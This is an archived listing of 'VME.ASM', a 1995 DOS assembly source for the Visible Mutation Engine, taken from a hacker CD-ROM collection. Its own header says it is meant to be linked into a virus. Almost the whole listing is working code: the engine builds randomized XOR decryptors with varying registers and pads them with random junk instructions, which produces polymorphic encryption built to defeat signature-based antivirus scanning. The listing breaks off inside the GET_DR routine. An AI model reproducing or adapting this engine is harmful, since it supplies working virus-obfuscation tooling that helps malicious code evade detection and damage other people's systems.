home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / POLY / VME.ASM < prev   
Encoding:
Assembly Source File  |  1995-07-10  |  35.3 KB  |  865 lines

  1. ;The Visible Mutation Engine Version 1.1
  2. ;(C) 1995 American Eagle Publications, Inc. ALL RIGHTS RESERVED.
  3.  
  4. ;The engine is an object module which can be linked into a virus, or any other
  5. ;software that needs to be self-encrypting.
  6. ;
  7. ;On calling the ENCRYPT routine,
  8. ;DS:SI points to where the code to encrypt is
  9. ;ES:DI points to where the decryption routine + encrypted code should be placed
  10. ;DX<>0 is the fixed size of the decryption routine.
  11. ;CX is the size of the unencrypted code
  12. ;BX is the starting offset of the decryption routine
  13. ;
  14. ;On return, carry will be set if there was an error which prevented the engine
  15. ;from generating the code. If successful, carry will be cleared.
  16. ;CX will be returned with the decryption routine + code size
  17.  
  18. ;Version 1.1 is functionally equivalent to Version 1.0. No new code is generated.
  19. ;It adds the ability to use a gene instead of a random number generator.
  20.  
  21.                 .model  tiny
  22.  
  23.                 .code
  24.  
  25.                 public  ENCRYPT
  26.  
  27.                 extrn   RANDOM_SEED:near
  28.                 extrn   GET_RANDOM:near
  29.  
  30. CODE_LOC        DD      0                       ;area to save all passed parameters
  31. ENCR_LOC        DD      0
  32. DECR_SIZE       DW      0
  33. DECR_OFFS       DW      0
  34. CODE_SIZE       DW      0
  35.  
  36. ENCRYPT:
  37.                 cld
  38.                 push    bp                              ;preserve bp
  39.                 call    GET_LOC                         ;first figure out where we are
  40. GET_LOC:        pop     bp
  41.                 sub     bp,OFFSET GET_LOC               ;offset stored in bp always
  42.                 push    ds
  43.                 mov     cs:[bp][DECR_OFFS],bx           ;save all calling parameters
  44.                 mov     bx,bp                           ;put base in bx
  45.                 mov     WORD PTR CS:[bx][CODE_LOC],si
  46.                 mov     WORD PTR CS:[bx][CODE_LOC+2],ds
  47.                 push    cs
  48.                 pop     ds
  49.                 mov     WORD PTR [bx][ENCR_LOC],di
  50.                 mov     WORD PTR [bx][ENCR_LOC+2],es
  51.                 mov     [bx][CODE_SIZE],cx
  52.                 mov     [bx][DECR_SIZE],dx
  53.                 call    SELECT_BASE             ;select decryptor base to use
  54.                 jc      ERR_EXIT                ;exit if error
  55.                 call    INIT_BASE               ;initialize decryptor
  56.                 jc      ERR_EXIT
  57.                 call    GENERATE_DECRYPT        ;create a decrypt routine in wkspace
  58.                 jc      ERR_EXIT
  59.                 call    ENCRYPT_CODE            ;encrypt the code as desired
  60.                 jc      ERR_EXIT                ;exit on error
  61.                 les     di,[bx][ENCR_LOC]       ;else set exit parameters
  62.                 mov     cx,[bx][CODE_SIZE]
  63.                 add     cx,[bx][DECR_SIZE]      ;cx=code+decr rtn size
  64. ERR_EXIT:       pop     ds
  65.                 pop     bp
  66.                 ret
  67.  
  68. ;******************************************************************************
  69. ;This routine selects which decryptor base to use. It simply gives each
  70. ;decryptor an even chance of being used. BASE_COUNT holds the total number
  71. ;of decryptor bases available to use, and BASE_NO is set by this function
  72. ;to the one that will be used from here on out. This routine also sets the
  73. ;size of the decryptor, if a fixed size is not specified. If a fixed size
  74. ;is specified, it checks to make sure enough room has been alotted. If not,
  75. ;it returns with carry set to indicate an error.
  76. SELECT_BASE:
  77.                 mov     al,4                    ;4 bit gene needed
  78.                 call    GET_RANDOM              ;get a random number
  79.                 xor     dx,dx                   ;make it a dword
  80.                 mov     cx,[bx][BASE_COUNT]     ;get total number of base routines
  81.                 div     cx
  82.                 mov     [bx][BASE_NO],dx        ;save choice in BASE_NO
  83.                 mov     ax,[bx][DECR_SIZE]      ;ok, get requested size
  84.                 mov     si,dx                   ;get base number
  85.                 shl     si,1                    ;make an address out of it
  86.                 add     si,OFFSET BASE_SIZE_TBL
  87.                 mov     cx,[bx][si]             ;get selected base size
  88.                 or      ax,ax                   ;is decryptor size 0?
  89.                 jz      SEL_SIZE1               ;yes, select a random size
  90.                 cmp     ax,cx                   ;is ax>=cx?
  91.                 retn                            ;return with carry set right
  92.  
  93. ;If no base size selected, pick a random size between the minimum required
  94. ;size and the minimum + 127.
  95. SEL_SIZE1:
  96.                 mov     ax,80H                  ;max size
  97.                 sub     ax,cx                   ;subtract min size
  98.                 push    cx                      ;save it
  99.                 mov     cx,ax                   ;cx=extra size allowed
  100.                 mov     al,7                    ;7 bits needed
  101.                 call    GET_RANDOM
  102.                 xor     dx,dx
  103.                 div     cx                      ;dx=extra size selected
  104.                 pop     cx
  105.                 add     dx,cx                   ;add min size
  106.                 mov     [bx][DECR_SIZE],dx      ;save it here
  107.                 ret
  108.  
  109.  
  110. ;******************************************************************************
  111. ;This routine initializes the base routines for this round of encryption. It
  112. ;is responsible for inserting any starting/ending addresses into the base,
  113. ;and any random numbers that the base uses for encryption and decryption.
  114. ;It must insure that the encryptor and decryptor are set up the same way,
  115. ;so that they will work properly together. INIT_BASE itself is just a lookup
  116. ;function that jumps to the proper routine to work with the current base,
  117. ;as selected by SELECT_BASE. The functions in the lookup table perform all of
  118. ;the routine-specific chores.
  119. INIT_BASE:
  120.                 mov     si,[bx][BASE_NO]
  121.                 shl     si,1                    ;determine encryptor to use
  122.                 add     si,OFFSET INIT_TABLE
  123.                 add     [bx][si],bx
  124.                 jmp     [bx][si]
  125.  
  126. INIT_TABLE      DW      OFFSET INIT_BASE0
  127.                 DW      OFFSET INIT_BASE1
  128.  
  129. ;Initialize decryptor base number 0.
  130. INIT_BASE0:
  131.                 sub     [bx][si],bx             ;make sure to clean up INIT_TABLE!
  132.                 mov     si,OFFSET _D0START      ;set start address
  133.                 mov     ax,[bx][DECR_OFFS]
  134.                 add     ax,[bx][DECR_SIZE]
  135.                 mov     [bx][si],ax
  136.                 mov     si,OFFSET _D0SIZE       ;set size to decrypt
  137.                 mov     ax,[bx][CODE_SIZE]
  138.                 mov     [bx][si],ax
  139.                 mov     al,16
  140.                 call    GET_RANDOM
  141.                 mov     si,D0RAND1              ;set up first random byte (encr)
  142.                 mov     [bx][si],al
  143.                 mov     si,OFFSET _D0RAND1      ;set up first random byte (decr)
  144.                 mov     [bx][si],al
  145.                 mov     si,D0RAND2              ;set up second random byte
  146.                 mov     [bx][si],ah
  147.                 mov     si,OFFSET _D0RAND2      ;set up second random byte
  148.                 mov     [bx][si],ah
  149.                 clc
  150.                 retn                            ;that's it folks!
  151.  
  152. ;Initialize decryptor base number 1. This only has to set up the decryptor
  153. ;because the encryptor calls the decryptor.
  154. INIT_BASE1:
  155.                 sub     [bx][si],bx             ;make sure to clean up INIT_TABLE!
  156.                 mov     ax,[bx][DECR_OFFS]
  157.                 add     ax,[bx][DECR_SIZE]
  158.                 mov     si,D1START1             ;set start address 1
  159.                 mov     [bx][si],ax
  160.                 mov     si,D1START2             ;set start address 2
  161.                 mov     [bx][si],ax
  162.                 mov     si,D1SIZE               ;set size to decrypt
  163.                 mov     ax,[bx][CODE_SIZE]
  164.                 shr     ax,1                    ;use size / 2
  165.                 mov     [bx][si],ax
  166.                 mov     al,16
  167.                 call    GET_RANDOM
  168.                 mov     si,D1RAND               ;set up random word
  169.                 mov     [bx][si],ax
  170.                 clc
  171.                 retn                            ;that's it folks!
  172.  
  173.  
  174. ;******************************************************************************
  175. ;This routine encrypts the code using the desired encryption routine.
  176. ;On entry, es:di must point to where the encrypted code will go.
  177. ENCRYPT_CODE:
  178.                 mov     si,[bx][BASE_NO]
  179.                 shl     si,1                    ;determine encryptor to use
  180.                 add     si,OFFSET ENCR_TABLE
  181.                 add     [bx][si],bx
  182.                 jmp     [bx][si]
  183.  
  184. ENCR_TABLE      DW      OFFSET ENCRYPT_CODE0
  185.                 DW      OFFSET ENCRYPT_CODE1
  186.  
  187. ;Encryptor to go with decryptor base 0
  188. ENCRYPT_CODE0:
  189.                 sub     [bx][si],bx             ;make sure to clean up ENCR_TABLE!
  190.                 push    ds                      ;may use a different ds below
  191.                 mov     cx,[bx][CODE_SIZE]
  192.                 lds     si,[bx][CODE_LOC]       ;ok, es:di and ds:si set up
  193.                 push    cx
  194.                 push    di
  195.                 rep     movsb                   ;move the code to work segment
  196.                 pop     si
  197.                 pop     cx
  198.                 push    es
  199.                 pop     ds
  200.                 call    ENCRYPT0                ;call encryptor
  201.                 pop     ds
  202.                 mov     bx,bp                   ;restore bx to code base
  203.                 clc                             ;return c reset for success
  204.                 retn
  205.  
  206. ;Encryptor to go with decryptor base 1
  207. ENCRYPT_CODE1:
  208.                 sub     [bx][si],bx             ;make sure to clean up ENCR_TABLE!
  209.                 push    ds                      ;may use a different ds below
  210.                 mov     cx,[bx][CODE_SIZE]
  211.                 lds     si,[bx][CODE_LOC]       ;ok, es:di and ds:si set up
  212.                 push    cx
  213.                 push    di
  214.                 rep     movsb                   ;move the code to work segment
  215.                 pop     di
  216.                 mov     si,di
  217.                 pop     dx
  218.                 push    es
  219.                 pop     ds
  220.                 call    ENCRYPT1                ;call encryptor
  221.                 pop     ds
  222.                 clc                             ;return c reset for success
  223.                 retn
  224.  
  225.  
  226. ;******************************************************************************
  227. ;The following routine generates a decrypt routine, and places it in memory
  228. ;at [ENCR_LOC]. This returns with es:di pointing to where encrypted code
  229. ;should go. It is assumed to have been setup properly by INIT_BASE. As with
  230. ;INIT_BASE, this routine performs a jump to the proper routine selected by
  231. ;BASE_NO, which then does all of the detailed work.
  232. GENERATE_DECRYPT:
  233.                 mov     si,[bx][BASE_NO]
  234.                 shl     si,1                    ;determine encryptor to use
  235.                 add     si,OFFSET DECR_TABLE
  236.                 add     [bx][si],bx
  237.                 jmp     [bx][si]
  238.  
  239. DECR_TABLE      DW      OFFSET GEN_DECRYPT0
  240.                 DW      OFFSET GEN_DECRYPT1
  241.  
  242. GD0R1           DB      0
  243. GD0R2           DB      0
  244.  
  245. ;Generate the base routine 0.
  246. GEN_DECRYPT0:
  247.                 sub     [bx][si],bx             ;make sure to clean up DECR_TABLE!
  248.                 mov     cx,OFFSET D0RET - OFFSET DECRYPT0
  249.                 mov     ax,[bx][DECR_SIZE]
  250.                 sub     ax,cx                   ;ax= # bytes free
  251.                 mov     [bx][RAND_CODE_BYTES],ax;save it here
  252.  
  253.                 les     di,[bx][ENCR_LOC]       ;es:di points to where to put it
  254.  
  255.                 mov     al,11001000B            ;select si, di or bx for r1
  256.                 call    GET_REGISTER            ;randomly
  257.                 mov     [bx][GD0R1],al
  258.                 mov     ah,0FFH                 ;mask to exclude bx
  259.                 cmp     al,3                    ;is al=bx?
  260.                 jnz     GD1
  261.                 mov     ah,01110111B            ;exclude bh, bl
  262. GD1:            mov     al,11011101B            ;exclude ch, cl
  263.                 and     al,ah
  264.                 call    GET_REGISTER            ;select r2 randomly
  265.                 mov     [bx][GD0R2],al
  266.  
  267.                 mov     ax,000000000B
  268.                 mov     cx,7
  269.                 call    RAND_CODE
  270.  
  271.                 mov     al,[bx][GD0R1]          ;get r1
  272.                 or      al,0B8H                 ;mov r1,I
  273.                 stosb
  274. _D0START        EQU     $+1
  275.                 mov     ax,0
  276.                 stosw
  277.  
  278.                 mov     al,[bx][GD0R1]
  279.                 call    GEN_MASK
  280.                 or      al,00000010B
  281.                 push    ax
  282.                 xor     ah,ah
  283.                 mov     cx,6
  284.                 call    RAND_CODE
  285.  
  286.                 mov     al,0B9H                 ;mov cx,0
  287.                 stosb
  288. _D0SIZE         EQU     $+1
  289.                 mov     ax,0
  290.                 stosw
  291.  
  292.                 mov     al,[bx][GD0R2]          ;build mask for r2
  293.                 call    GEN_MASK_BYTE
  294.                 pop     cx
  295.                 or      al,cl
  296.                 or      al,00000010B
  297.                 xor     ah,ah
  298.                 push    ax                      ;save mask
  299.                 mov     cx,5
  300.                 call    RAND_CODE
  301.  
  302. _D0RAND1        EQU     $+1
  303.                 mov     ah,0                    ;mov r2,0
  304.                 mov     al,[bx][GD0R2]
  305.                 or      al,0B0H
  306.                 stosw
  307.  
  308.                 pop     ax
  309.                 push    ax                      ;get mask
  310.                 mov     cx,4
  311.                 call    RAND_CODE
  312.  
  313.                 pop     ax
  314.                 push    di                      ;save address of xor for loop
  315.                 push    ax
  316.  
  317.                 mov     al,[bx][GD0R1]          ;r1
  318.                 call    GET_DR                  ;change to ModR/M value
  319.                 mov     ah,[bx][GD0R2]
  320.                 mov     cl,3
  321.                 shl     ah,cl
  322.                 or      ah,al                   ;ah = r2*8 + r1
  323.                 push    ax
  324.  
  325.                 cmp     [bx][RAND_CODE_BYTES],4 ;make sure room for largest rtn
  326.                 pop     ax
  327.                 jc      GD2                     ;if not, use smallest
  328.                 push    ax
  329.                 mov     al,1
  330.                 call    GET_RANDOM              ;select between xor and mov/xor/mov
  331.                 and     al,1
  332.                 pop     ax
  333.                 jz      GD2                     ;select xor
  334.  
  335.                 xor     ah,00100000B            ;switch between ah & al, etc.
  336.                 mov     al,8AH
  337.                 stosw                           ;mov r2',[r1]
  338.                 pop     dx                      ;get mask for RAND_CODE
  339.                 push    dx
  340.                 push    ax
  341.  
  342.                 push    dx
  343.                 mov     ax,dx
  344.                 mov     cx,8
  345.                 call    RAND_CODE
  346.  
  347.                 mov     al,[bx][GD0R2]          ;get r2
  348.                 mov     cl,3
  349.                 shl     al,cl
  350.                 or      al,[bx][GD0R2]          ;r2 in both src & dest
  351.                 xor     al,11000100B            ;now have r2',r2
  352.                 mov     ah,30H
  353.                 xchg    al,ah
  354.                 stosw                           ;xor r2',r2
  355.  
  356.                 pop     ax
  357.                 mov     cx,8
  358.                 call    RAND_CODE
  359.  
  360.                 pop     ax
  361.                 mov     al,88H
  362.                 stosw                           ;mov [r1],r2'
  363.                 sub     [bx][RAND_CODE_BYTES],4 ;must adjust this!
  364.                 jmp     SHORT GD3
  365.  
  366. GD2:            mov     al,30H                  ;xor [r1],r2
  367.                 stosw
  368.  
  369. GD3:            pop     ax                      ;get register flags
  370.                 push    ax
  371.                 mov     cx,3
  372.                 call    RAND_CODE
  373.  
  374.                 mov     al,[bx][GD0R1]          ;inc r1
  375.                 or      al,40H
  376.                 stosb
  377.  
  378.                 pop     ax                      ;get mask
  379.                 push    ax
  380.                 mov     cx,2
  381.                 call    RAND_CODE
  382.  
  383.                 mov     al,80H                  ;add r2,0
  384.                 mov     ah,[bx][GD0R2]
  385.                 or      ah,0C0H
  386.                 stosw
  387. _D0RAND2        EQU     $+1
  388.                 mov     al,0
  389.                 stosb
  390.  
  391.                 pop     ax                      ;get retister flags
  392.                 mov     cx,1
  393.                 call    RAND_CODE
  394.  
  395.                 pop     cx                      ;address to jump to
  396.                 dec     cx
  397.                 dec     cx
  398.                 sub     cx,di
  399.                 mov     ah,cl
  400.                 mov     al,0E2H                 ;loop D0LP
  401.                 stosw
  402.  
  403.                 mov     ax,000000000H           ;fill remaining space with random code
  404.                 xor     cx,cx
  405.                 call    RAND_CODE
  406.  
  407.                 clc                             ;return with c reset
  408.                 retn
  409.  
  410.  
  411. ;Generate the base routine 1.
  412. GEN_DECRYPT1:
  413.                 sub     [bx][si],bx             ;make sure to clean up DECR_TABLE!
  414.                 mov     cx,OFFSET D1RET
  415.                 sub     cx,OFFSET DECRYPT1      ;cx=# of bytes in decryptor
  416.                 push    cx
  417.                 mov     si,OFFSET DECRYPT1      ;[bx][si] points to DECRYPT1
  418.                 add     si,bx                   ;si points to DECRYPT1
  419.                 les     di,[bx][ENCR_LOC]       ;es:di points to where to put it
  420.                 rep     movsb                   ;simply move it for now
  421.                 pop     ax
  422.                 mov     cx,[bx][DECR_SIZE]      ;get decryptor size
  423.                 sub     cx,ax                   ;need this many more bytes
  424.                 mov     al,90H                  ;NOP code in al
  425.                 rep     stosb                   ;put NOP's in
  426.                 clc                             ;return with c reset
  427.                 retn
  428.  
  429.  
  430. ;******************************************************************************
  431. ;Bases for Decrypt/Encrypt routines.
  432.  
  433. BASE_COUNT      DW      2               ;number of base routines available
  434. BASE_NO         DW      0               ;base number in use
  435. BASE_SIZE_TBL   DW      OFFSET D0RET - OFFSET DECRYPT0
  436.                 DW      OFFSET D1RET - OFFSET DECRYPT1
  437.  
  438. ;This is the actual base routine 0. This is just a single-reference, varying
  439. ;byte-wise XOR routine.
  440. DECRYPT0:
  441.                 mov     si,0                    ;mov si,OFFSET ENCRYPTED
  442.                 mov     cx,0                    ;mov cx,ENCRYPTED SIZE
  443. ENCRYPT0:       mov     bl,0                    ;mov bl,RANDOM BYTE 1
  444. D0LP:           xor     [si],bl
  445.                 inc     si
  446.                 add     bl,0                    ;add bl,RANDOM BYTE 2
  447.                 loop    D0LP
  448. D0RET:          retn                            ;not used by decryptor!
  449.  
  450. ;Defines to go with base routine 0
  451. D0RAND1         EQU     OFFSET DECRYPT0 + 7
  452. D0RAND2         EQU     OFFSET DECRYPT0 + 13
  453.  
  454. ;Here is the base routine 1. This is a double-reference, word-wise, fixed XOR
  455. ;encryptor.
  456. DECRYPT1:
  457.                 mov     si,0
  458.                 mov     di,0
  459.                 mov     dx,0
  460. ENCRYPT1:
  461. D1LP:           mov     ax,[si]
  462.                 add     si,2
  463.                 xor     ax,0
  464.                 mov     ds:[di],ax
  465.                 add     di,2
  466.                 dec     dx
  467.                 jnz     D1LP
  468. D1RET:          ret
  469.  
  470. ;Defines to go with base routine 1
  471. D1START1        EQU     OFFSET DECRYPT1 + 1
  472. D1START2        EQU     OFFSET DECRYPT1 + 4
  473. D1SIZE          EQU     OFFSET DECRYPT1 + 7
  474. D1RAND          EQU     OFFSET DECRYPT1 + 15
  475.  
  476.  
  477. ;Random code generator. Bits set in al register tell which registers should
  478. ;NOT be changed by the routine, as follows: (Segment registers aren't changed)
  479. ;
  480. ;  Bit 0 = ax
  481. ;  Bit 1 = cx
  482. ;  Bit 2 = dx
  483. ;  Bit 3 = bx
  484. ;  Bit 4 = sp
  485. ;  Bit 5 = bp
  486. ;  Bit 6 = si
  487. ;  Bit 7 = di
  488. ;  Bit 8 = flags
  489. ;
  490. ;The cx register indicates how many more calls to RAND_CODE are expected
  491. ;in this execution. It is used to distribute the remaining bytes equally.
  492. ;For example, if you had 100 bytes left, but 10 calls to RAND_CODE, you
  493. ;want about 10 bytes each time. If you have only 2 calls, though, you
  494. ;want about 50 bytes each time. If CX=0, RAND_CODE will use up all remaining
  495. ;bytes.
  496.  
  497. RAND_CODE_BYTES DW      0               ;max number of bytes to use up
  498.  
  499. RAND_CODE:
  500.                 or      cx,cx                           ;last call?
  501.                 jnz     RCODE1                          ;no, determine bytes
  502.                 mov     cx,[bx][RAND_CODE_BYTES]        ;yes, use all available
  503.                 or      cx,cx                           ;is it zero?
  504.                 push    ax                              ;save modify flags
  505.                 jz      RCODE3                          ;zero, just exit
  506.                 jmp     short RCODE2                    ;else go use them
  507. RCODE1:         push    ax                              ;save modify flags
  508.                 mov     ax,[bx][RAND_CODE_BYTES]
  509.                 or      ax,ax
  510.                 jz      RCODE3
  511.                 shl     ax,1                            ;ax=2*bytes available
  512.                 xor     dx,dx
  513.                 div     cx                              ;ax=mod for random call
  514.                 or      ax,ax
  515.                 jz      RCODE3
  516.                 mov     cx,ax                           ;get random betw 0 & cx
  517.                 mov     al,8
  518.                 or      ah,ah
  519.                 jz      RCODE05
  520.                 add     al,8
  521. RCODE05:        call    GET_RANDOM                      ;random # in ax
  522.                 xor     dx,dx                           ;after div,
  523.                 div     cx                              ;dx=random number desired
  524.                 mov     cx,dx
  525.                 cmp     cx,[bx][RAND_CODE_BYTES]
  526.                 jc      RCODE2                          ;make sure not too big
  527.                 mov     cx,[bx][RAND_CODE_BYTES]        ;if too big, just use all
  528. RCODE2:         or      cx,cx
  529.                 jz      RCODE3
  530.                 sub     [bx][RAND_CODE_BYTES],cx        ;subtract off bytes used
  531.                 pop     ax                              ;modify flags
  532.  
  533. RC_LOOP:        push    ax
  534.                 call    RAND_INSTR                      ;generate a single instruction
  535.                 pop     ax
  536.                 or      cx,cx
  537.                 jnz     RC_LOOP
  538.  
  539.                 ret
  540.  
  541. RCODE3:         pop     ax
  542.                 ret
  543.  
  544. ;This routine generates a random instruction and puts it at es:di, decrementing
  545. ;cx by the number of bytes the instruction took, and incrementing di as well.
  546. ;It uses ax to determine which registers may be modified by the instruction.
  547. ;For the contents of ax, see the comments before RAND_CODE.
  548. RAND_INSTR:
  549.                 or      ax,00010000B            ;never allow stack to be altered
  550.                 push    ax
  551.                 cmp     al,0FFH                 ;are any register mods allowed?
  552.                 je      RI1                     ;nope, go set max subrtn number
  553.                 mov     dx,3
  554.                 neg     al                      ;see if 2 or more registers ok
  555. RI0:            shr     al,1
  556.                 jnc     RI0                     ;shift out 1st register
  557.                 or      al,al                   ;if al=0, only 1 register ok
  558.                 jnz     RI2                     ;non-zero, 2 register instrs ok
  559.                 dec     dx
  560.                 jmp     SHORT RI2
  561. RI1:            mov     dx,0                    ;dx contains max subrtn number
  562.                 cmp     ah,1                    ;how about flags?
  563.                 je      RI2                     ;nope, only 0 allowed
  564.                 inc     dx                      ;flags ok, 0 and 1 allowed
  565.  
  566. RI2:            mov     al,4
  567.                 call    GET_RANDOM              ;get random number betw 0 & dx
  568.                 xor     ah,ah
  569.                 inc     dx                      ;dx=modifier
  570.                 push    cx
  571.                 mov     cx,dx
  572.                 xor     dx,dx
  573.                 div     cx                      ;now dx=random number desired
  574.                 pop     cx
  575.                 pop     ax
  576.                 mov     si,dx
  577.                 shl     si,1                    ;determine routine to use
  578.                 add     si,OFFSET RI_TABLE
  579.                 add     [bx][si],bx
  580.                 jmp     [bx][si]
  581.  
  582. RI_TABLE        DW      OFFSET RAND_INSTR0
  583.                 DW      OFFSET RAND_INSTR1
  584.                 DW      OFFSET RAND_INSTR2
  585.                 DW      OFFSET RAND_INSTR3
  586.  
  587. ;If this routine is called, no registers must be modified, and the flags must
  588. ;not be modified by any instructions generated. 9 possibilities here.
  589. RAND_INSTR0:
  590.                 sub     [bx][si],bx             ;make sure to clean up!
  591.                 push    ax
  592.                 push    cx
  593.                 cmp     cx,2                    ;do we have 2 bytes to work with?
  594.                 jc      RI01                    ;no--must do a nop
  595.                 mov     al,4
  596.                 call    GET_RANDOM              ;yes--do either a nop or a push/pop
  597.                 mov     cx,9                    ;even chance of 8 push/pops & nop
  598.                 xor     dx,dx
  599.                 div     cx
  600.                 or      dx,dx                   ;if dx=0
  601.                 jz      RI01                    ;go do a nop, else push/pop
  602.                 mov     al,11111111B
  603.                 call    GET_REGISTER            ;get any register
  604.                 pop     cx                      ;get bytes avail off stack
  605.                 add     al,50H                  ;push r = 50H + r
  606.                 stosb
  607.                 pop     dx                      ;get register flags off stack
  608.                 push    ax                      ;save "push r"
  609.                 sub     cx,2                    ;decrement bytes avail now
  610.                 cmp     cx,1                    ;see if more than 2 bytes avail
  611.                 jc      RI02A                   ;nope, go do the pop
  612.                 push    cx                      ;keep cx!
  613.                 call    GEN_MASK                ;legal to modify the
  614.                 pop     cx                      ;register we pushed
  615.                 xor     al,0FFH                 ;so work it into the mask
  616.                 and     dl,al                   ;for more variability
  617.                 mov     ax,dx                   ;new register flags to ax
  618.                 call    RAND_INSTR              ;recursively call RAND_INSTR
  619. RI02A:          pop     ax
  620.                 add     al,8                    ;pop r = 58H + r
  621.                 stosb
  622.                 ret
  623.  
  624. RI01:           mov     al,90H
  625.                 stosb
  626.                 pop     cx
  627.                 pop     ax
  628.                 dec     cx
  629.                 ret
  630.  
  631. ;If this routine is called, no registers are modified, but the flags are.
  632. ;Right now it just implements some simple flags-only instructions
  633. ;35 total possibilities here
  634. RAND_INSTR1:
  635.                 sub     [bx][si],bx             ;make sure to clean up!
  636.                 push    cx
  637. RAND_INSTR1A:   cmp     cx,2                    ;do we have 2 bytes available?
  638.                 jc      RI11                    ;no, go handle 1 byte instr's
  639.                 cmp     cx,4                    ;do we have 4 bytes?
  640.                 jc      RI12
  641.  
  642. RI14:           mov     al,1
  643.                 call    GET_RANDOM              ;4 byte solutions (16 possible)
  644.                 and     al,80H
  645.                 jnz     RI12                    ;50-50 chance of staying here
  646.                 mov     al,11111111B
  647.                 call    GET_REGISTER            ;get any register
  648.                 mov     ah,al                   ;set up register byte for AND/OR
  649.                 xor     al,al
  650.                 mov     cx,ax
  651.                 mov     al,1
  652.                 call    GET_RANDOM
  653.                 and     al,80H
  654.                 jnz     RI14A                   ;select "and" or "or"
  655.                 or      cx,0C881H               ;OR R,0
  656.                 mov     ax,cx
  657.                 xor     cx,cx
  658.                 jmp     SHORT RI14B
  659. RI14A:          or      cx,0E081H               ;AND R,FFFF
  660.                 mov     ax,cx
  661.                 mov     cx,0FFFFH
  662. RI14B:          stosw
  663.                 mov     ax,cx
  664.                 stosw
  665.                 pop     cx
  666.                 sub     cx,4
  667.                 ret
  668.  
  669. RI12:           mov     al,2
  670.                 call    GET_RANDOM              ;2 byte solutions (16 possible)
  671.                 and     al,3                    ;75% chance of staying here
  672.                 cmp     al,3
  673.                 je      RI11                    ;25% of taking 1 byte solution
  674.                 mov     al,11111111B
  675.                 call    GET_REGISTER            ;get any register
  676.                 mov     ah,al                   ;set up register byte for AND/OR
  677.                 mov     cl,3
  678.                 shl     ah,cl
  679.                 or      ah,al
  680.                 or      ah,0C0H
  681.                 mov     ch,ah
  682.                 mov     al,1
  683.                 call    GET_RANDOM
  684.                 and     al,80H
  685.                 jz      RI12A                   ;select "and" or "or"
  686.                 mov     al,9                    ;OR R,R
  687.                 jmp     SHORT RI12B
  688. RI12A:          mov     al,21H                  ;AND R,R
  689. RI12B:          mov     ah,ch
  690.                 stosw
  691.                 pop     cx
  692.                 sub     cx,2
  693.                 ret
  694.  
  695. RI11:           mov     al,2
  696.                 call    GET_RANDOM
  697.                 and     al,3
  698.                 mov     ah,al
  699.                 mov     al,0F8H                 ;clc instruction
  700.                 or      ah,ah
  701.                 jz      RI11A
  702.                 mov     al,0F9H                 ;stc instruction
  703.                 dec     ah
  704.                 jz      RI11A
  705.                 mov     al,0F5H                 ;cmc instruction
  706.                 dec     ah
  707.                 jz      RI11A
  708.  
  709. RI11A:          stosb
  710.                 pop     cx
  711.                 dec     cx
  712.                 ret
  713.  
  714. ;If this routine is called, one register is modified, as specified in al. It
  715. ;assumes that flags may be modified.
  716. RAND_INSTR2:
  717.                 sub     [bx][si],bx                     ;make sure to clean up!
  718.                 push    cx
  719.                 push    cx
  720.                 mov     dx,ax
  721.                 xor     al,0FFH                         ;set legal, allowed regs
  722.                 call    GET_REGISTER                    ;get a random, legal register
  723.                 pop     cx
  724.                 push    ax                              ;save it
  725.                 cmp     cx,2
  726.                 jc      RI21                            ;only 1 byte available
  727.                 cmp     cx,3
  728.                 jc      RI22                            ;only 2 bytes avaiable
  729.  
  730. RI23:                                   ;3 bytes, modify one register
  731.                 mov     al,1
  732.                 call    GET_RANDOM                      ;get random number
  733.                 and     al,1                            ;decide 3 byte or 2
  734.                 jnz     RI22
  735.                 mov     al,16
  736.                 call    GET_RANDOM                      ;X to use in generator
  737.                 mov     cx,ax
  738.                 pop     ax                              ;get register
  739.                 or      al,0B8H                         ;mov R,X
  740.                 stosb
  741.                 mov     ax,cx
  742.                 stosw
  743.                 pop     cx
  744.                 sub     cx,3
  745.                 ret
  746.  
  747. RI22:                                   ;2 bytes, modify one register
  748.                 mov     al,1
  749.                 call    GET_RANDOM
  750.                 and     al,1            ;decide 2 byte or 1
  751.                 jnz     RI21            ;do one byte
  752.                 mov     al,11111111B
  753.                 call    GET_REGISTER    ;get a random register
  754.                 mov     cl,3
  755.                 shl     al,cl
  756.                 pop     cx
  757.                 or      al,cl           ;put both registers in place
  758.                 or      al,0C0H
  759.                 mov     ah,al
  760.                 mov     al,89H          ;mov r2,r1
  761.                 stosw
  762.                 pop     cx
  763.                 sub     cx,2
  764.                 ret
  765.  
  766. RI21:                                   ;one byte, modify one register
  767.                 and     dh,1                            ;can we modify flags?
  768.                 pop     ax
  769.                 jnz     RI20                            ;no, exit this one
  770.                 push    ax
  771.                 mov     al,1
  772.                 call    GET_RANDOM                      ;do inc/dec only
  773.                 mov     ah,40H                          ;assume INC R (40H+R)
  774.                 and     al,80H                          ;decide which
  775.                 jz      RI21A
  776.                 or      ah,8                            ;do DEC R (48H+R)
  777. RI21A:          pop     cx
  778.                 or      ah,cl                           ;put register in
  779.                 mov     al,ah
  780.                 stosb
  781.                 pop     cx
  782.                 dec     cx
  783.                 ret
  784.  
  785. RI20:           pop     cx
  786.                 jmp     RAND_INSTR1A
  787.  
  788.  
  789. ;If this routine is called, up to two registers are modified, as specified in
  790. ;al.
  791. RAND_INSTR3:    ;NOT IMPLEMENTED
  792.                 jmp     RAND_INSTR2
  793.  
  794.  
  795. ;This routine gets a random register using the mask al (as above).
  796. ;In this mask, a 1 indicates an acceptable register. On return, the random
  797. ;register number is in al.
  798. GET_REGISTER:
  799.                 xor     cl,cl
  800.                 mov     ch,al
  801.                 mov     ah,8
  802. CNTLP:          shr     al,1
  803.                 jnc     CNT1
  804.                 inc     cl
  805. CNT1:           dec     ah
  806.                 jnz     CNTLP
  807.                 mov     al,8
  808.                 call    GET_RANDOM
  809.                 xor     ah,ah
  810.                 div     cl              ;ah=rand #, ch=mask
  811.                 mov     al,1
  812. GRL:            test    al,ch
  813.                 jnz     GR1
  814.                 shl     al,1
  815.                 jmp     GRL
  816. GR1:            or      ah,ah
  817.                 jz      GR2
  818.                 dec     ah
  819.                 shl     al,1
  820.                 jmp     GRL
  821. GR2:            xor     ah,ah
  822. GR3:            shr     al,1
  823.                 jc      GR4
  824.                 inc     ah
  825.                 jmp     GR3
  826. GR4:            mov     al,ah
  827.                 ret
  828.  
  829.  
  830.  
  831.  
  832. ;This converts a register number in al into a displacement ModR/M value and
  833. ;puts it back in al. Basically, 7-->5, 6-->4, 5-->6, 3-->7.
  834. GET_DR:
  835.                 cmp     al,6
